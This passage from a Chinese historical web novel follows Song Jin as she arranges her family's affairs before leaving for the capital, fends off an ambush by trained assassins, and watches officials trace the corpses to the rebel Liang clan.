“虽然院试结果还没出来,但我相信你一定考上了,我就提前祝贺你成为秀才,一举中举,到时候金榜题名,被榜下捉婿,赢得美娇娘” 严盛是个聪明人,自然听出她的拒绝。他怔怔地看着宋锦的毫不在意的模样,心口有些发疼 他是喜欢宋锦的,从小就喜欢 她张扬、明媚、洒脱,就像是水墨画里点随意点上的旭日,明亮又耀眼 他则灰扑扑的,就是山石底下那么最不出众的杂草,他想往上爬,想爬到那悬崖上,想长成那棵青松,藏住那耀眼的旭日 严盛苦笑:“金金,你有时候聪明得可怕” “这话听起来可不像夸我”宋锦先是撇嘴,随后灿烂一笑,“不过就当你是夸我了,严大哥,山高水远,日后再见” “日后再见”严盛怔怔地看着她潇洒地牵着半人高的骡子,蹦蹦跳跳消失在街道处,他喃喃 “都城,再,见” 都城啊,他终有一日会过去的 想到这,严盛又打起了精神,他往旁边一退,对着身旁的娇娘行了一礼:“许姑娘,多谢您的厚爱,但在下心中已经有人,抱歉。” 说着,他挥了挥手衣袍,打算回学院继续看书 := 不管是为了前程还是心爱的人,这次会试他都势在必得 “严盛” 没走两步,他便被同窗喊住,正是县丞家的陶志义。他有些嫉妒地看着严盛,没好气道,“走什么走,储夫子让你去楼上” 储夫子就是储邵,当朝有名的大儒,暂时在他们文渊书院落脚,一般人很难请到。陶志义的爷爷费了大功夫才把人请到学院外面一聚,结果人一来,还没和陶志义 说上两句话,就光看严盛去了 陶志义怎能不气,他瞪严盛:“别以为储夫子暂时看中你,你就了不起了,院试结果还说不好谁更厉害。” 严盛已经习惯他的针对,温和地笑笑:“陶兄所言极是,盛会继续努力的” 陶志义:…… 真是气死他了 但是再气,他还是得把人带上去见储邵 严盛进了房间,冲着储邵行礼:“夫子找我何事?” 储邵站在窗边,目光落在严盛刚在在的地方,目光幽光闪过,面上却一副往日儒雅模样:“刚才那人,是你心上人?” 严盛一怔,弯腰行礼:“是,金金和盛从小一起长大,盛倾慕已久。但夫子放心,盛不会影响考试的” 储邵转身看着这个乡下贫寒出身的少年,他礼节粗糙,学识也算不得出众,表面温驯和气,但是那脊背永远挺直,眉眼间稚嫩的野心让他有些欣赏,这才多指点几分 本是为了逗趣,倒没想到还有意外收获 储邵看着低首的严盛,唇角微扬,那笑容不带半分真意:“不必如此,少年慕艾,乃是喜事,就是不知你这心上人如何,能不能配得上以后的你” 严盛抿了抿嘴,带着为心上人辩解的意味,把过往全然摊开 一五一十,仔仔细细 …… 第28章 带着人跑了? “来来来,再多吃点,阿娘” “吃多多,长高高” 饭桌上,宋锦就像哄小孩子一般耐心哄着自己老娘,什么鹿肉野凰,鲮鲤云龟…… 不大的桌子被这些东西摆得满满的,知道的是吃饭,不知道的还以为是药膳楼开业了呢 牛铁兰单手撑在桌上,蔫哒哒地夹着菜,一副有气无力生无可恋的模样 宋锦忍不住敲了敲桌子:“哎哎,娘,你这是吃菜还是吃空气呢?” 啪 牛铁兰把筷子放下,没好气道:“我只是姓牛,又不是真的牛,哪儿吃得了这么多?” 宋锦苦口婆心:“您努努力,难受也多吃点,你要想,这吃的不是饭是药啊” “这是药,那那边是什么?”牛铁兰面无表情地伸手指向后面 那里,小眉抱着一人脑袋大的陶罐,罐里装满了黑漆漆的药水,老远都散着药味 牛铁兰知道自家闺女是为了自己好,她也知道这些药吃了有效果,但是,真的塞不下啊。她觉得,也就是那蛊还在心里窝着,但凡它有本事往肚子里钻一钻,这玩意儿绝对得撑死 她深吸一口气,神色惨淡,眼神凄凉:“金金,病死尚且有两分体面,撑死,你娘就是到下边了也要被人笑死啊” 宋锦嘴角一抽:“呸呸呸,别胡说八道,吃不下就先不吃了,歇一下把药吃了,回去躺着吧” 牛铁兰闷闷:“躺一天了,我想走走” 宋锦仔细观察着牛铁兰的脸色,虽然还是没什么血色,但是比起之前已经好了不少 果然,齐铮说的没错,这红线蛊以前没有发作,就是因为那些补品压着 这破蛊,还会挑好东西啊 “也行,那你就在屋里走走”宋锦伸手放在牛铁兰的心口上,感受着那平静的跳动,默默使出内力往里面输 牛铁兰心口立马感受一股暖意,暖洋洋的驱散了沉闷和乏力,她却没有高兴,而是担忧:“够了,娘没事,你悠着点” 宋锦继续输着内力,在内力的作用下,她清楚地感受到里面蛊虫的存在。她微微扬唇,神情张扬自信:“放心吧,娘,这点算不上什么,这死玩意儿,就是后面找不到办法赶出来,我也能撑死它” 牛铁兰:“……听着怪瘆人的” 宋锦咧嘴笑笑 昨日一回来,她便尝试着压制着蛊虫,千里蜂、宋行之的血、珍稀药材全试一遍 结果也很明显 宋行之的血就跟他本人一样废物,一点儿用没有 千里蜂则会让蛊虫活跃 珍稀药材能让它变得平静,其中灵芝和人参效果最好 不过最管用的还是宋锦的内力,也是她上辈子的异能。虽然因为环境限制,她的异能和上辈子没法比,耗完恢复起来也难度加大 但只要内力有用,其他的都是小问题 宋锦小心地输出内力,这玩意儿一个控制不好就不是救命而是害命了,等到蛊虫彻底平静了,她才停下动作 “娘你在家待着,我去茶园一趟,一会儿回来。” 牛铁兰蹙着眉,有些担心地看着宋锦:“要不先休息一下,茶园也没什么事,大不了这一季不收了,不是什么大事。” 只和她说去都城看病的宋锦摸了摸鼻子:“我没事,娘你放心吧,我去去就回,” 她心虚地迈着大步跑出房间,一出来就看着和小鹿一样在院子里蹦哒的小耳 宋锦:“你干什么呢?抱这么多东西?” 小耳脑袋上全是汗,小圆脸红红:“这不是要走了吗?我把要带的东西收拾好,这些不要的衣服鞋子,我拿去送给河边的李寡妇,我上次看她家桃桃衣服都透光了,这些穿着刚合适” 这年头,普通人家是不会扔旧衣服的,都是大的穿了小的穿,小补丁补大补丁,实在不能穿了也能用来做鞋子纳鞋垫 小耳她们也不例外,平日衣服旧了就是改一改缝一缝换个样式,这直接拿来送人 宋锦不由挑眉,上前翻翻小耳怀里的大包衣服,纳闷:“以后日子不过了,这些全送出去” 这些衣服料子好好的,补丁都没两个 小耳抓抓头发,脸蛋红扑扑:“这不是要去都城了吗?虽然不知道那边是什么情况,但是肯定不比镇子,有钱人家多得很。我们几个可不能给小姐夫人丢人,这些旧衣服通通不要了,等过去了重新置办” 宋锦嘴角一抽:“哪至于啊,小眉也想太多了” 家里能这么周到的,也只有小眉了 “反正不能给小姐夫人丢脸,小姐您忙着,我继续收东西去了。这些破烂,通通扔掉”小耳仰着脑袋,踮起脚雄赳赳就走了 宋锦:…… 算了,这个月底发双倍银钱吧 她摇摇头,去后院牵起小黑,朝着十里村的方向奔去 银矿一事已经解决得差不多了,县衙在这边安置的人也走了,十里村又恢复了往日的样子,没有人会再拦她 宋锦骑着骡子毫无阻碍的来到了茶园,正好赶上了货商过来收购,王老二和姜迁搬东西的搬东西,谈价的谈价 她虽然是主人家,但也插不上话,简单和茶商打了个招呼,就坐在一边等着他们 这一等就是一个时辰 忙完的姜迁满头大汗地走过来,毫无形象地瘫在藤椅上,就着茶水一饮而下 “累死我了,之前他们迟迟不来,我还担心出岔子,现在总算是弄完了,账目还要过两日才能清出来,到时候拿给你娘看。” “不用了” 宋锦前晚上就没怎么睡,昨晚又跑山里把以前没摘的那些好药收了,直到天亮才回来,累得不行 她打着哈欠:“我这次过来是和你们道别的,我和我娘过两天就走了,后面茶园的经营你全权负责,盈利你一半我们一半。一会儿你写个契,我们签一下” 姜迁被茶水呛到,咳了几下,又扭动着藤椅直接摔到地上,他呲牙咧嘴地怕了起来,满脸惊悚 “你这是惹什么祸了?” 宋锦白眼:“能不能想我点好的?我娘的病有些眉目了,我要带她去都城寻医,可能过几个月就回来了,也可能几年,顾不上这边。” 姜迁这才松了口气,擦擦冷汗:“还好还好,吓死我了,你们去看病就看病呗,搞这么大阵仗,你要真觉得过意不去就给我们加点工钱,我和王老二等你们回来” 宋锦枕着双手,笑着摇头:“没必要” 姜迁看着她眼中的认真,脸上的玩笑逐渐散去,心里有些不是滋味:“什么时候走?” 宋锦:“后天一早” 姜迁没有多问,他拿过茶壶重新倒了两杯茶,一杯递给宋锦,一杯端在手里,郑重而又认真 “一路保重,我会好好经营茶园的,哪一日你们回来 ,茶园必物归原主” 宋锦接过茶和他碰了碰,笑:“我信你” 不是信他的人品,而是太过了解他的胆量——再给他100个胆子,姜迁都不敢和她抢茶园,除非他打算后半辈子都不闭眼,担惊受怕过一辈子 就像现在,即便宋锦她打算走得匆忙,也做出一副以后都不会回来的架势,他也没多问一句,生怕被牵扯进其他的事情 就像上次宋行之找上门来,他心知肚明是宋锦动的手,事前也帮着打掩护,但事后也绝不多问一句,生怕知道的多了会被牵扯进去 这样也挺好的,宋锦和他当着村长的面签了契约,把茶园的管理权交给了他,不用担心自家阿娘的心血白费 而茶园除了姜迁这个管事外,还有个王老二 同样得知宋锦要走,王老二怔愣之余,立马便道:“我和你们一起走吧,我虽然没什么本事,但是帮着赶个马看个家还行” 宋锦也有些意外,毕竟王老二虽然也在帮他们做事,但他是自由身,和家里的阿茂小多他们不一样 她沉吟半晌,道:“你若想去我自然没意见,但这次前往都城前程不定,我也不知道会遇到什么,说不好什么时候就丢了命,这样你确定还要去?” 王老二没有丝毫犹豫:“我无亲无故,本就是烂命一条,真运气不好,丢了也就丢了。再说了,死在都城总比死在这乡野上有排面,下去下面了也能和我阿爹阿娘吹一吹。” 宋锦看着他这般模样,想起当初碰上他的时候 那会儿他才从外地逃荒过来的,一家老小病得病死、饿得饿死,只剩下他一人了。刚好那年她娘要弄茶园,就聘了他在这边,一干就是这么多年 她发自内心笑了起来,张扬又郑重道:“我只能说,在我娘之下我会尽全力护着你们,若没护住,我一定替你们报仇。” 保护人宋锦不是很会 但是杀人,她再擅长不过了 …… 交代好了茶园之后,宋锦第二天又找上了林镇长,把家里的房子还有土地蚕园这些全都委托给他 有宋行之他们的名头在,她不担心林镇长反水侵占东西 这老头最是识时务了 果不其然,在得知她和宋行之的兄妹关系后,林镇长毫不犹豫地应下此事,没有半点为难:“你们放心的走吧,我会帮你们看着田地,每年的出息也会找人给你们送过去的。” 如果是这样的话,林镇长就能理解之前宋行之为什么一直打探母女的情况了,也明白他怎么会被打成那样了 他懂,他懂 他就说牛铁兰一个县里面的寻常小妇为何懂得这般多,原来如此,原来如此啊 宋锦看林镇长的表情就知道他肯定在想些乱七八糟的事,她嘴角一抽,到底还是没和他做过多解释 这老头想得越多,做事就越尽心,也是该他的。 这些年看似是他护着他们母女俩,但其实他才是最占便宜的那一方。他就动动嘴,牛铁兰那些胭脂香粉可是实打实的利益,还是能管几代人的那种 但是不管是谁占便宜,他总归还是发挥了些用处,在以后也会有用到的地方 宋锦便又和他说了些似是而非的话,把自家的产业安排得妥妥当当,确定没什么遗漏了,这才踏着月色离开林镇长家 此时,是她和宋行之三日之约的最后一晚 她还有最后一事要办 ** 泗安县里,宋行之坐在回春堂后门处,隔着一条街守着宋锦在城里的小院 他一袭白衣,腰间系着玉佩手上,手上木扇轻扬,端的一副风度翩翩的姿态,眼睛却是紧紧盯着对面 从太阳东升,一直到日挂西头 宋行之也从一开始的期待变为焦虑:“怎么还不来?我就说应该亲自去接人的,她们此番东西肯定不少,从林溪镇过来一百里路,要是被有心人盯上,她们两个弱女子如何应付得了?不行,我这就找人过去看看” 对面的李青山抱着剑,听到这话嘴角一抽,一言难尽地看着他:“你与其想她们碰到了事,倒不如想想,会不会是她们反悔了,收拾东西早早跑了。” 李青山这么说的本意只是嘲讽宋行之想太多,却没想到他当真了,越发焦急起来:“不行,我得过去看看,那丫头要是真跑了我也死定了” 宋锦要是真带着她娘跑了,宋行之不能确定他爹的反应,但是他能肯定,他那几个兄弟绝对会弄死他 “看什么看,那丫头既然说了要来,她就一定会来”就在这个时候,医馆的后门打开,一直在那边跟着等的老刘头中气十足地走了出来,言语间都是对宋锦的信任,还有对宋行之的嫌弃 “你在这等着就是了,本来就是个病秧子,别跑出去再出事了,还给那丫头添麻烦” 宋行之:“……她真不是带着人跑了?” 老刘头怎么看宋行之怎么不顺眼,冷笑:“她要真想带人跑,你觉得你拦得住?” 虽然,老刘头是真的希望母女俩跑得远远的,不要去认这门亲,但这是不可能的 他再清楚不过宋锦有多在乎牛铁兰了,为了牛铁兰的身体,便是刀山火海她都会去闯一闯 宋行之则是当局者迷,被老刘头一点也清醒过来 确实,就牛铁兰那个身体状况,但凡宋锦想要人活久一点,她就不可能跑 这样想着,他又放松了下来,重新坐回位置,潇洒地扇着扇子,悠悠闲闲喝着茶水,一副公子哥做派 老刘头站在一边翻了个白眼,也没想到,这次宋行之真没担心错 宋锦她们此刻是真碰上麻烦了 第29章 全弄死了 黄昏下,泗安县城熙熙攘攘 村镇来的百姓坐着牛车、挑着扁担赶着时间离开城里,免得错过时间回不去,还得再城里住一晚——一天就白跑了 下工的城里居民展着欢笑,或带着工具,或手拿零嘴小物,赶着回家和家里共享晚饭 若是往前倒退十年,这种画面会难寻许多,那时候大衍朝建立不过十年,先是平定乱党,又遇到大旱,再加上前朝留下的烂摊子,百姓日子只能说勉强 直到一年年下来,前朝留下的贪官乱党一点点被肃清,新政宽裕,民间风调雨顺,百姓的脸上才重新带上了笑容 这也是当初宋商找上时,在江湖上自由惯了的齐铮愿意跟着他回皇室最主要的原因 他那名义上的爹确实是个好皇帝 齐铮走在路上,把周围百姓的神情尽收眼底,心中颇有感叹,脸上却没有任何的表情,整个人冷肃又谨然,配着那高大的身形,一身气势非比寻常,在人群中鹤立鸡群 不愧龙子,即便是在民间长大,这一身气势也浑然天成,是多少世家从小精心培养的少爷们都无法比拟的 远远跟着他的侍卫们看在眼里,叹在心间,却绝对想不到那在他们眼中的天生龙子齐铮,此刻心里想的却是 如何在不引起任何人的注意下,迅速的甩掉、解决跟着他的人——日后有需要的话 借助那不起眼的碎镜,齐铮行路间便已经把侍卫们的方位确定得清清楚楚 除却明面上的6人,后面的转角靠墙的人、左上方买糖葫芦的男人、右后方看似喝茶的黑衣人、正前面挑着扁担灰衣…… 全都是他爹派过来保护他的人,至少明面上是这样的,背地里有没有被人渗透,齐铮不能保证 毕竟,皇室之争,向来如此 齐铮早在回去之前就做好了心理准备,他回皇家不过半年,便察觉到那空气中涌动的风雨欲来,他爹现在身体还算健壮都如此,等后面身体愈下 他只能提前做好心理准备了 因此,成为王爷的这半年,齐铮每日做的最多的事情,就是 清点自己可以变现好带的财产和想法子破解都城的守卫 满脑子都是这些生死危机的事情,他想不严肃都不行。此刻他便已经想好了了该如何甩掉身后的人,不过此法虽然能逃,到底还是会影响普通百姓 不太妥当 齐铮又换了个思路,就这样一路思索破解,一路牵着宝马走在路上,直到看见那边茶桌上相谈甚欢的三人 宋行之、李青山和老刘头 齐铮停下了步子,觉得有些奇怪,缓慢地朝他们走了过去 他身材高大,气势雄浑,手上汗血宝马在黄昏下金光闪闪,很是惹人注目 宋行之和李青山立马起身行礼:“王爷” 老刘头愣了一下,紧跟着起身行礼,虽然离开都城20年了,他行礼还是有模有样 他心想,这些人里果然有皇室出身的,李青山这个侍卫应该就是跟着这王爷了,就是不知道是哪个王爷了 齐铮颔首:“你们在这做什么?” 宋行之笑:“禀王爷,臣在等小妹过来,臣已和她说好了,此行会一同回都城” 这事齐铮知道,毕竟李青山每日跟着宋行之可不是为了玩的,就差把这人每天喝了多少杯水都记录一番,这种大事自然不会忘了汇报 但是,齐铮眉头微皱:“你未去接人?” 宋行之挥扇,笑:“小妹自己过来不让臣去,她武艺高强,说一不二,我便在此等候” 齐铮:“说的今日?” 宋行之点头:“应该快了” 齐铮看着宋行之坦然的模样,也不知这人是真的信任宋锦,还是纯粹不那么在乎人 他抬头看了看昏黄的天色,神色肃然:“宋锦纵然武艺高强,胆大无畏,但此番出行带着病母丫鬟,怎可能冒着城门关闭的风险迟迟不来?” 对于普通人来说,城门一关,只要没有专门的令牌,不管你是病入膏肓还是拖家带口,便是死在城门口,守卫也不能破例开门 听起来冷漠得近乎残忍,却是一代又一代人传下来的生存智慧。毕竟,若平时并不注意这些,等到战时荒灾疫病时候再注意可就晚了 而此时的宋锦,虽说和县令衙役们关系良好,但也只是这芸芸普通人中的一员,不可能有这个特权 齐铮说不上了解宋锦,但是他能确定 在带着生病的牛铁兰的情况下,她不可能会去冒这个进不了城的风险 而因为银矿,泗安县暗里不知道藏着多少亡命之徒,也不知道有多少双眼睛一直盯着他们,谁也不知道这些人会干出什么事 于是,齐铮话落便覆身上马,拉起缰绳便朝着城外飞奔而去 他这一走,身为侍卫的李青山立即反应过来,他转身朝着其他侍卫作出指示,遂训练有素地去寻马跟上 宋行之:“等等,等等我啊” …… 齐铮座下的汗血宝马乃西域进贡的神骏,拼尽全力可日行千里,整个朝廷都没有几匹,珍稀程度可见一斑,而他本身又闯荡江湖多年,武艺高强 所以,他一骑绝尘,出了城门便没了影子,李青山等侍卫只能拼尽全力,用最快的速度跟在后面,勉强抓个背影 宋行之坐在马屁股上,死死抓着李青山的肩膀,一路颠簸的他屁股都没了知觉,夏风带着灰尘往他脸上砸来,糊得他灰头土脸,再没有半点往日的潇洒姿态 他却没有喊停,只咬咬牙:“快,再快点吧” 李青山驾着马,冷淡中带着嫌弃:“你跳下去我就能快了” 马载一个人和两个人差距可大了,本来他是侍卫里最先跟上的人,就因为后面坐着个宋行之,他现在已经落最后面了 宋行之不敢再催他,免得真被扔下去,他闭着嘴,焦急地看着前面尘土飞扬的路,生怕宋锦她们真出了事 一行人就这样一路骑马飞奔,马蹄扬起的黄尘挡住大半视线,看不清前方具体的画面,只有马蹄声哒哒 突然,李青山拉住了缰绳,减慢了速度 被灰尘扎得睁不开眼睛的宋行之差点被甩了下去,他死死抱住人:“怎么了怎么了?” 李青山没回答他,熟练地降低马的速度,最后稳稳停在了尘土飞扬的地上,前方,训练有素的侍卫们整齐停下,呵马声不断 他拿着长剑下马,走上前远远看着前方,眼中惊异闪过 马上到宋行之呲牙咧嘴,忍着不适小心下马,一个趔趄摔到地上,疼得他倒吸一口凉气,捂着胳膊艰难起来,一瘸一拐地走到李青山的旁边,顺着视线看了过去 “这……” 前方飞扬的尘土一点点散去,露出对面缓慢前行的车队,牛车在前,骡车垫后 骡车顶上木箱堆叠,宋锦面无表情地曲腿而坐,漆黑的眼眸无波无澜,一袭淡青长衣上深红点点,半人高的长剑悬挂手边,粘稠的猩红血迹沿路淌下 就在前方,简陋的牛车板上,几具尸身像稻草一样随意堆积,乍一瞥过便能看到扭曲残断的肢体,斑斑血迹下,一双双黑瞳暗淡,没有半点光泽 “停” 宋锦放下曲着的腿,拿起长剑扣在腰间,直接从车顶跳下,拉住了还要往前的小黑,叫停前方沉默的架着牛车的瘸腿阿茂 她就这样站在骡车边上,和前方骑在马背上的齐铮隔空对视,黑漆漆的眸子沉凝,里面杀气残余 牛铁兰担忧的声音从车里传出来:“金金,怎么了?” 宋锦身上杀意散去,她嗤笑一声,眉眼挑起,嘴角上扬,一片嚣张肆意之态,声音却格外的轻柔 “没事,娘,是官家的人来接我们了” 牛铁兰掀开车帘,探出脑袋,脸色一如既往的苍白,她轻蹙柳眉,一片担忧之色:“那些人都死了,会不会怪罪我们?” 宋锦一脸无惧:“没事,是他们先袭击我们的,我只是出于防守” 虽然防的重了些,但是这些人确实很奇怪 她安慰:“娘,您别担心” 牛铁兰勉强笑了笑,探头看向对面,见到那走在最前面的齐铮时,心才定下几分 她知道,这人是个讲道理的,希望这次能顺利过去,不然她,不如早早死了还免得拖累 …… 母女俩说话间,齐铮已经走了过来,他没有说话,只是站在那堆积的尸体前,刚要探手 “王爷”李青山和宋行之异口同声地叫住了人,主动请缨,“我们来” 齐铮目光落在那堆死得不能再死的尸体上,并不觉得它们能伤害到自己,不过看着李青山等侍卫身上的大汗和惶恐,后退一步,没让他们为难 李青山和宋行之立马上前查探 衣服、佩刀、令牌、手脚…… 李青山眉头紧皱,宋行之变了脸色,低声:“是死士” 他们检查的时候,宋锦就抱着手站在一边,想看看他们能查出个什么玩意儿,听到这话,忍不住翻了个白眼 “这还用检查吗?有眼睛的都看得出是死尸。我先说好,这可不能怪我,我们好端端的走在路上,这几个人突然冒出来,什么也不说直接动手,我一不小心下手重了点就死了” 是死士不是死尸,宋行之本想纠正宋锦的,听到后面的话面色又有些一言难尽了,目光落在尸体扭曲碎裂的残肢上 “死一个还能说是不小心,全弄死了……” 这个解释过于粗糙了,但凡有眼睛的人都没法信 宋锦喊冤:“我就杀了一个,其他的人只是折了胳膊腿,想着后面还能审一下怎么回事,哪知道回个头他们就口吐白沫了,可不关我的事” 她只是莽不是疯,就算当时杀意重了一点,但又不是杀神转世有杀人任务,没必要把人都弄死 虽然说,她藏了一点自己审问折磨人的细节,但是她这次真的是无辜的 宋行知看着她无辜叫冤的模样,忍不住后退一步,扯扯嘴角,到底不知道该说什么,只是拿出手帕擦起手上的鲜血,遮掩眼中止不住的揣测 他爹这女儿,真的是不简单啊 谁家正常小姑娘杀人跟喝水一样? 不对劲,绝对不对劲,宋行之忍不住又阴谋论了起来 会不会是专门针对他爹的阴谋?不然一个小姑娘怎会有这般高强度武艺,她是和谁学的? 宋行之不着痕迹地打量宋锦,没两下就对上了她的视线 宋锦挑眉: “还觉得是我干的?我没事杀那么多人干嘛啊,真要这么干,我也毁尸灭迹把人埋了啊,生怕日子太闲了给自己找事?” 宋行之深吸一口气,把想法压了下去,扯扯嘴角:“这些都是训练有素的死士,只听令于主家,一般来说他们牙齿间都会藏有毒药,任务失败便会自杀” 宋锦拍腿:“我就说,失策了,下次第一时间就把他们嘴给塞上” 宋行之:“……塞上也没用,这些人从小就被训练,一个字都不会说的。而且最好也别遇上了” 听到这话,宋锦冷笑一声,嘲讽:“你确定遇不上了?”的 她虽然什么都没有问出来,但不用想,这些人跑来抓她们母女俩,肯定是因为面前的人 不是左边那个就是右边这个,但多半是左边这个 站左边的宋行之心里不是滋味:“我也没想到这些人动作会这么快,还好你们没事,早知道我就亲自接你们了” 宋锦给了他一个白眼:“亲自来送人头,他们抓你肯定比抓我更划算” 宋行之不知如何反驳,尴尬笑笑,打哈哈道:“没事就好,没事就好,还是王爷料事如神,见你们久久不来便知是出事了” “他确实比你聪明”宋锦对此不觉奇怪,瞥了一眼还在看尸体的齐铮,冲着他抱了抱拳,“多谢” 她还是分得清好赖的 齐铮颔首:“不谢,便是我们不来,你们也无事” 宋锦耸了耸肩:“但是你们要不来,我和我娘他们就只能带着这些尸体露宿荒野了” 不说睡外面的蚊虫,就说一晚上过去,到时候,这些尸体绝对要臭 齐铮:“你娘没事吧?” 宋锦:“受到了些惊吓” 说着,牛铁兰就掀开了车帘出来,她冲着齐铮行了个礼:“民女和金金不知您是王爷,还望您恕罪” 齐铮微微侧身避开,绷着下巴,颔首:“夫人身体不适,无需多礼,此番祸事因我们而来,幸好你们无事” 牛铁兰今日穿着一身浅蓝衣裙,她的脸色苍白,神态温软中带着脆弱,真就似那幽兰一般,让人不自觉软了心态 示弱,她是最擅长的 她瞥过一边还在努力擦手上脏污的宋行之,又看着看似冷肃不好相处的齐铮,浅浅一笑 “王爷说笑了,碰上这种事只能说我们母女倒霉,您不怪罪小女莽撞就是我们最大的幸事” …… 宋锦不喜欢寒暄,看了两眼就觉得有些无聊,在一旁打着哈欠,目光挪到了其他人身上 在这个男人身高普遍低矮的情况下,在场的全都是五尺男儿,一个个人高马大,肌肉结实,佩着长刀,牵着骏马,看着就很有排场 这往日齐铮一个人出行的时候宋锦还没什么感觉,现在他身后跟着这么一群人,那种王爷的感觉瞬间出来了 还真是挺有排场的 宋锦的目光落在一个个侍卫身上,眼神带着欣赏,在她看来,还是这种有个头有肌肉有力量的男人才叫男人,那种穿的花里胡哨的,脸白腿软的小白脸只能叫男的 “……干什么这样看着我?” 宋行知平日最是爱洁,尤为受不了这些黏腻的血液,在那里擦了半天了,还是总觉得手上全是那股感觉 他正犹豫着要不要去田边洗一洗,一回头就对上了宋锦嫌弃的目光 他辩解:“我不是怕,我就是嫌弃脏” 宋锦淡淡哦了一下 宋行之强调:“我真不怕,我就是爱干净” 宋锦瞥他:“我管你怕不怕,你最好管好你的嘴,我和我娘说的是去都城看病” 宋行之嘴角一抽:“……我爹有那么见不得人吗?” 既然宋锦是他爹的亲女儿,那牛铁兰和他爹肯定是有一段往事的,现在埋得再深,两人一见面也就戳破了 有什么必要? 宋锦才不管这么多呢,反正能瞒着就先瞒着 她娘至今都认为她爹已经没了,这其中因缘不提,就说他们这孩子生了,蛊也中了,她娘还只知道个人的假名 宋锦觉得,有些事还是先藏着点吧 多一事不如少一事,什么前因后果、阴谋纠葛,都比不上人好好活着来得好 ** 因为那些匪徒已经死得不能再死了,所以宋锦他们并没有耽搁时间,简单查了一下就重新启程 不过就算这样,等到一行人到泗安县的时候,天色也已经黑了下来,厚重的城墙环绕着城镇,高大的城门矗立,上面静悄悄的无声无息,只有点燃的烛火轻晃,照着四溅的飞蛾 随着吱呀一声,紧闭的城门打开,哒哒的马蹄下,一行人顺利进城 宋锦有些稀奇地探头:“我还是第一次半夜进城,这感觉还真不一样。” 牛铁兰靠在旁边,声音轻轻:“自然是不一样的,这人啊,生下来就被分成三六九等,他们是天潢贵胄,我们是普通平民,能顺路一起,都是我们的福气” 宋锦打了个哆嗦,侧头看她:“阿娘,你这话我怎么听怎么别扭啊” 牛铁兰伸出手,轻柔地给她理起乱糟糟的头发,低低叹气:“别扭就对了,金金,他们权势滔天,现在和气是心情好,万一哪天心情不好了,咱们说错一句话都是麻烦。我们惹不起他们,还是各走各的吧” 宋锦无奈:“娘,我们不是都说好了吗?” 牛铁兰透过帘缝看着外面的阵仗,目光幽幽:“说好什么?你可没有和我好好说啊,金金” 宋锦侧头藏住脸上心虚,只道:“咱们就是去看病,病看好就行了,阿娘,其他的不重要” 牛铁兰没有说话,她转头看着脑袋都快压到门板上的自家闺女,好一会儿,声音淡淡:“你应了那姓宋的什么?” 宋锦没有吱声 牛铁兰也不用她回答,继续:“不用说,我也能猜到大概,这人上次来便说你像那奸臣,你是打算应了那名头,去当那人的女儿?” 宋锦瘪嘴:“我只会是您的女儿” 牛铁兰语气沉沉:“我们不过刚出门就遇上这事,真到了都城,还不知道会碰上什么事。你现在是和他们说好了,真去了他们的地盘,一切可就是他们说了算。金金,娘知道你武艺好不惧这些,但是事情没那么简单,就说最直接的,他们若拿我威胁你可怎么办?” 宋锦皱着脸,纠结得不禁用后脑勺砸车,一边想着要不把真相说了算了,一边又觉得说了可能更糟糕。 最后,她胡乱抓了几把脑袋,苦恼:“娘你信我,我这次真的有数。” 牛铁兰没说话 她自然是想活着的,所以即便明知宋锦有所隐瞒,她也应了去都城看病。但现在他们都还没未出泗安县就碰上这些事,她都不敢想都城那边会是怎样的血雨腥风 再退一万步,假使她们母女此番投靠的是齐铮,牛铁兰心中也能有几分安定,因为这人清明正直,又不拘泥古板,行事有度 但偏偏是那个奸臣宋商 牛铁兰自然不会别人说什么便以为什么,但就宋商的那些个战绩,即便他杀的都是该杀之人,做的事也是为民为国,也不能掩盖他的心狠手辣、残酷无情 这样一个人,她不觉得他会仅凭一张相似的脸就‘好心’帮助她们母女 牛铁兰舍不得自家孩子被桎梏威胁,更舍不得她的生活充满危险 如果注定要死,她宁愿就死在镇上,至少安安静静,也不会给女儿添太多麻烦 牛铁兰闭上眼:“金金,娘宁愿死也不要你去犯险” 宋锦睁眼,冷下脸:“你死我也死” 这一刻,母女俩脸上神情一模一样 她们也清楚的知道对方说的是认真的 真的有那一天的话 …… 第30章 不由她们控制 “是梁家的死士” “这些杂种疯狗” …… 仵作房内,宋行之白布捂鼻,看着地上被拆解的人体残肢,眼中发带着浓烈的厌恶,说话也难得难听,没有半点君子风度 齐铮蹲坐在尸体旁,听见这话不禁看了他一眼,思索着, 又看向面前的尸体,准确点是残尸了,一具具尸体全被开膛破肚,尸体和内脏分离,整齐摆放在白布上,场面十分赫人,气味也很是刺鼻 饶是他行走江湖多年,也吃了不少苦头,也是头一次见着这般场面 果然,高手还是在民间啊 齐铮看看那边淡定子若眉头都不皱一下的仵作,心里感叹之余,伸手轻轻捏起一块剥下来的人皮 整整齐齐,没有半点碎肉,也未有破皮,可见剥皮之人的技术 不过这不是关键,关键是上面印着深紫色花纹,也是宋行之怒骂的源头 梁家? 齐铮对江湖事如数家珍,朝廷的事基本都来自一些闲谈,全是些鸡毛蒜皮的小事,大部分还不保真,所以他没听过什么梁家 不过光看这些尸体的肌肉走向、手脚痕迹也能看出这几个人绝对是训练有素的,擅长的内容也不相同 长刀、弓弩、横棍…… 五个人便是一个小队,不说是面对几个寻常的弱女子,便是劫走一批走商都没问题,而能一次性出手这么多人,足以见得那梁家的底蕴,也看得出,他们对宋锦的重视,或者说对宋商的仇恨 这幕后的人不见得知道宋锦是宋商的孩子,但一定看出两人相似的面容,这才想趁着人未归京的时候把人掳走,用以日后威胁。 与此同时,他们一定是在本地扎根,不然不可能在短短时日就便知道宋锦动向,并且能安排人手在路段最僻静最好埋伏的地方捉人 不过很明显,对方并没有那么神通广大,他们并不知道宋锦具体的战斗力,低估了她,送了一波训练有素的死士过来,也暴露了他们不知道遮掩了多少年的行迹——即便人死,但是尸体还在,胃中的食物、身上的沙土痕迹、行走习惯,都有所暗示 宋行之和这些人明显有仇,他神色厌恶,双手捏着拳,骨头咯咯作响:“梁家当时掀起岭南之祸之后便消了踪迹,我就知这些人不可能死绝。现在看来潜藏颇深,就连死士都训练出来了,这件事得上报朝廷派人单独调查” 这次就算是逮不到人,他也要狠狠撕下他们一层肉 他道:“泗安县附近,绝对有他们的暗点,必须尽快铲除,重新清理” 李青山这次没和他唱反调,也神色严肃:“没想到,这么个小小的县里,竟然能藏着这么多人。” 不比齐铮,李青山到底在都城做官多年,平时没事干的时候便会查看以前的档案记录,也知道一些世家之乱 梁家便是其中典型 当初岭南之祸便是因他们而起的,死了不知道多少人,他们却消了踪迹,看似像是归隐了,但是后面的几起叛乱之祸里都有他们的影子 